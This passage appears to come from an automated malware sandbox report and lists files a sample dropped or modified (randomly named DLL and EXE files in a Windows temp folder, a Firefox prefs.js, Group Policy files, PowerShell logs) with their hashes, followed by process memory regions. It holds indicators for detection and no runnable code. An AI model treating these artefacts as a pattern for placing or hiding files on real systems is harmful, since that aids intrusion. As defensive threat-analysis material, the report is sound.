                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u2jlykis.oyz.ps1

                                                                                                                                                                    Filesize

                                                                                                                                                                    60B

                                                                                                                                                                    MD5

                                                                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                    SHA1

                                                                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                    SHA256

                                                                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                    SHA512

                                                                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\gcdxm1e2.default-release\prefs.js

                                                                                                                                                                    Filesize

                                                                                                                                                                    7KB

                                                                                                                                                                    MD5

                                                                                                                                                                    b844fe49713cca1aab8a1ab1aa4412c7

                                                                                                                                                                    SHA1

                                                                                                                                                                    260a18cd6deeb362074ea55595a7d872b19e3ed9

                                                                                                                                                                    SHA256

                                                                                                                                                                    accf3b69e78d6c890dd6ab7b1af51f8555a7dda51c69e4174381364782aad881

                                                                                                                                                                    SHA512

                                                                                                                                                                    bd9b21d89606897017bb85e05cc58fa43cb6c48cdc093b956ea2e0d9e4c5ee585f241580fb80a13bd2d3399934dc75628793b740ada843371c62ffbd5cd17853

                                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                    Filesize

                                                                                                                                                                    1KB

                                                                                                                                                                    MD5

                                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                                    SHA1

                                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                                    SHA256

                                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                                    SHA512

                                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                    Filesize

                                                                                                                                                                    11KB

                                                                                                                                                                    MD5

                                                                                                                                                                    b2e5f50a0d850244c114a17471068bbb

                                                                                                                                                                    SHA1

                                                                                                                                                                    e1f548d74ddab815842270ee3177187763bb1113

                                                                                                                                                                    SHA256

                                                                                                                                                                    406b8d2261a56c93bd813c5fb4cf1399087a70c875956ff50649e2b276e5b648

                                                                                                                                                                    SHA512

                                                                                                                                                                    ec7503c81d1a7dd7017114d79eb7fa8268bbefec30e7feb8552e970471deab19afab366e7eb15f7ec6a6c37eaf8b8139e5547e964a4e9eb3583981926aa5209b

                                                                                                                                                                  • C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    b78a54532de8397717438f4579cf02a3

                                                                                                                                                                    SHA1

                                                                                                                                                                    6d09e921b95d0b00e64cab40eb2dc77e7fa4d352

                                                                                                                                                                    SHA256

                                                                                                                                                                    39709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db

                                                                                                                                                                    SHA512

                                                                                                                                                                    9772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783

                                                                                                                                                                  • C:\Windows\Temp\nHkJQUniIMPgfrVz\BpXhRVlD\ztvOWvF.dll

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.1MB

                                                                                                                                                                    MD5

                                                                                                                                                                    b78a54532de8397717438f4579cf02a3

                                                                                                                                                                    SHA1

                                                                                                                                                                    6d09e921b95d0b00e64cab40eb2dc77e7fa4d352

                                                                                                                                                                    SHA256

                                                                                                                                                                    39709022de649a618ddbe45a21076b121c4bc07c90fc3739d06ad7d3df4760db

                                                                                                                                                                    SHA512

                                                                                                                                                                    9772d882fa3f515b8bc7e8ee7866df660d2012afa50020fe2ae2536e3a7d9f0fe8da0aa7b30b1899e917ac3284597c54c5e274b49c12431f091db6e24d8af783

                                                                                                                                                                  • C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Windows\Temp\nHkJQUniIMPgfrVz\NFFFyMVBrphOVFo\jssbbPI.exe

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                    MD5

                                                                                                                                                                    5a7e568c4ff53db46e5704e6a026af57

                                                                                                                                                                    SHA1

                                                                                                                                                                    58c8ef71ee70efdc6b60ad872e4d021fb016582b

                                                                                                                                                                    SHA256

                                                                                                                                                                    a05b3fd41886cbb8493e51c31226c2f39317e0a196c8c29004c88965d8172acc

                                                                                                                                                                    SHA512

                                                                                                                                                                    743eb5149dbeec059d38241771ebe7e45cc41b389b8b54867260d938630fca7b2f69bbdad376298f7424f8bddce5a10d5986e95bd1a7858720acdff53c6bcd69

                                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                                    Filesize

                                                                                                                                                                    6KB

                                                                                                                                                                    MD5

                                                                                                                                                                    8d13d802de68bdd3300ab3f56f91b3a4

                                                                                                                                                                    SHA1

                                                                                                                                                                    8b805b36f76cb0ae73a46ed35d795cf5d89813fe

                                                                                                                                                                    SHA256

                                                                                                                                                                    e5a24f0d347d9a1b2c3cf7e0c309455bc786f0909dd812a3c354e84ee93b4367

                                                                                                                                                                    SHA512

                                                                                                                                                                    1746687c9bb68ff2d0254bfb21e5a620bfaa82b94d49e15864cbaabbb783d40c0ecfc14cefe5de030c3abaca9872cdd58c55f48763265a4758b98816e37a9303

                                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                                    Filesize

                                                                                                                                                                    268B

                                                                                                                                                                    MD5

                                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                                    SHA1

                                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                                    SHA256

                                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                                    SHA512

                                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                                  • memory/380-535-0x0000000000810000-0x0000000000F09000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/380-28-0x0000000000810000-0x0000000000F09000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/380-12-0x0000000010000000-0x000000001059B000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.6MB

                                                                                                                                                                  • memory/380-11-0x0000000000810000-0x0000000000F09000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/1304-43-0x0000000001D90000-0x0000000001DC6000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    216KB

                                                                                                                                                                  • memory/1304-50-0x0000000005000000-0x0000000005066000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    408KB

                                                                                                                                                                  • memory/1304-41-0x0000000073380000-0x0000000073B30000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/1304-42-0x0000000001EA0000-0x0000000001EB0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/1304-64-0x0000000073380000-0x0000000073B30000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/1304-44-0x0000000001EA0000-0x0000000001EB0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/1304-45-0x0000000004880000-0x0000000004EA8000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    6.2MB

                                                                                                                                                                  • memory/1304-61-0x0000000001EA0000-0x0000000001EB0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/1304-60-0x0000000005C20000-0x0000000005C6C000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    304KB

                                                                                                                                                                  • memory/1304-59-0x00000000056D0000-0x00000000056EE000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    120KB

                                                                                                                                                                  • memory/1304-46-0x00000000046F0000-0x0000000004712000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    136KB

                                                                                                                                                                  • memory/1304-47-0x0000000004F20000-0x0000000004F86000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    408KB

                                                                                                                                                                  • memory/1304-58-0x00000000050B0000-0x0000000005404000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    3.3MB

                                                                                                                                                                  • memory/1672-37-0x0000000000650000-0x0000000000D49000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/1672-66-0x0000000000650000-0x0000000000D49000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/1672-108-0x0000000000650000-0x0000000000D49000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/1992-511-0x00000000016E0000-0x0000000001C7B000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    5.6MB

                                                                                                                                                                  • memory/2224-69-0x0000000001990000-0x00000000019A0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/2224-68-0x0000000001990000-0x00000000019A0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/2224-80-0x0000000001990000-0x00000000019A0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/2224-82-0x0000000073380000-0x0000000073B30000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/2224-67-0x0000000073380000-0x0000000073B30000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.7MB

                                                                                                                                                                  • memory/3020-107-0x0000000000780000-0x0000000000E79000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/3020-536-0x0000000000780000-0x0000000000E79000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/3020-508-0x00000000034C0000-0x0000000003582000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    776KB

                                                                                                                                                                  • memory/3020-489-0x0000000000780000-0x0000000000E79000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    7.0MB

                                                                                                                                                                  • memory/3020-120-0x0000000002270000-0x00000000022F5000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    532KB

                                                                                                                                                                  • memory/3020-493-0x0000000002B40000-0x0000000002BBD000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    500KB

                                                                                                                                                                  • memory/3020-162-0x0000000002AD0000-0x0000000002B38000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    416KB

                                                                                                                                                                  • memory/3496-29-0x000001C6C41D0000-0x000001C6C41E0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/3496-27-0x000001C6C40F0000-0x000001C6C4112000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    136KB

                                                                                                                                                                  • memory/3496-32-0x00007FFEBB6F0000-0x00007FFEBC1B1000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/3496-17-0x000001C6C41D0000-0x000001C6C41E0000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/3496-16-0x00007FFEBB6F0000-0x00007FFEBC1B1000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/4296-101-0x00007FFEBAB10000-0x00007FFEBB5D1000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB

                                                                                                                                                                  • memory/4296-99-0x0000022F74150000-0x0000022F74160000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4296-88-0x0000022F74150000-0x0000022F74160000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    64KB

                                                                                                                                                                  • memory/4296-87-0x00007FFEBAB10000-0x00007FFEBB5D1000-memory.dmp

                                                                                                                                                                    Filesize

                                                                                                                                                                    10.8MB